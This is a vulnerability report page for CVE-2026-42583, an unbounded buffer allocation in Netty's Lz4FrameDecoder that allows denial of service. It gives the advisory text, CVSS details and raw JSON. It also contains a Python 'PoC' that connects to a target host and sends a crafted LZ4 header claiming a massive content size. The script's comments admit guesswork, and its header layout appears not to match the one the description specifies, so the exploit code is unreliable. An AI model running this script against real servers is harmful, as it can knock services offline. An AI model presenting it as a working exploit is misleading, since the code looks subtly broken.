Security Vulnerability Report
中文
CVE-2026-42583 CVSS 7.5 HIGH

CVE-2026-42583

Published: 2026-05-13 19:17:24
Last Modified: 2026-05-14 16:26:50

Description

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Netty < 4.1.133.Final
Netty < 4.2.13.Final

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # Target host and port HOST = 'target_ip' PORT = target_port # LZ4 Magic Number magic = 0x184D2204 # Construct a malicious header # FLG byte (version independent, block independence, block checksum flag) flg = 0x40 # BD byte (block size max 64KB? No, we want max allocation) # Vulnerability allows up to 32MB allocation based on header bd = 0x70 # Header checksum calculation (simplified for PoC, might need actual calc depending on strictness) # For this vulnerability, we mainly care about the Content Size or Block Size fields # However, the description mentions forcing allocation based on a specific header structure. # Let's construct a frame that claims a huge decompressed size. # In LZ4 frames, Content Size is optional (FLG.Bits 0-2). # If present, it's 8 bytes. # Netty's Lz4FrameDecoder might read the block size or content size to allocate buffer. # Let's try to send a frame with a massive Content Size content_size = 0xFFFFFFFF # Max size header = struct.pack('>I', magic) header += struct.pack('B', flg | 0x08) # Set Content Size bit header += struct.pack('B', bd) header += struct.pack('>Q', content_size) # Fake huge size header += struct.pack('B', 0x00) # Header checksum (placeholder) # Send payload sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((HOST, PORT)) sock.send(header) # Send a tiny compressed block to trigger the allocation logic if needed sock.send(b'\x00') sock.close() print("Malicious packet sent to trigger allocation.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42583", "sourceIdentifier": "[email protected]", "published": "2026-05-13T19:17:23.903", "lastModified": "2026-05-14T16:26:50.047", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://github.com/netty/netty/security/advisories/GHSA-mj4r-2hfc-f8p6", "source": "[email protected]"}, {"url": "https://github.com/netty/netty/security/advisories/GHSA-mj4r-2hfc-f8p6", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}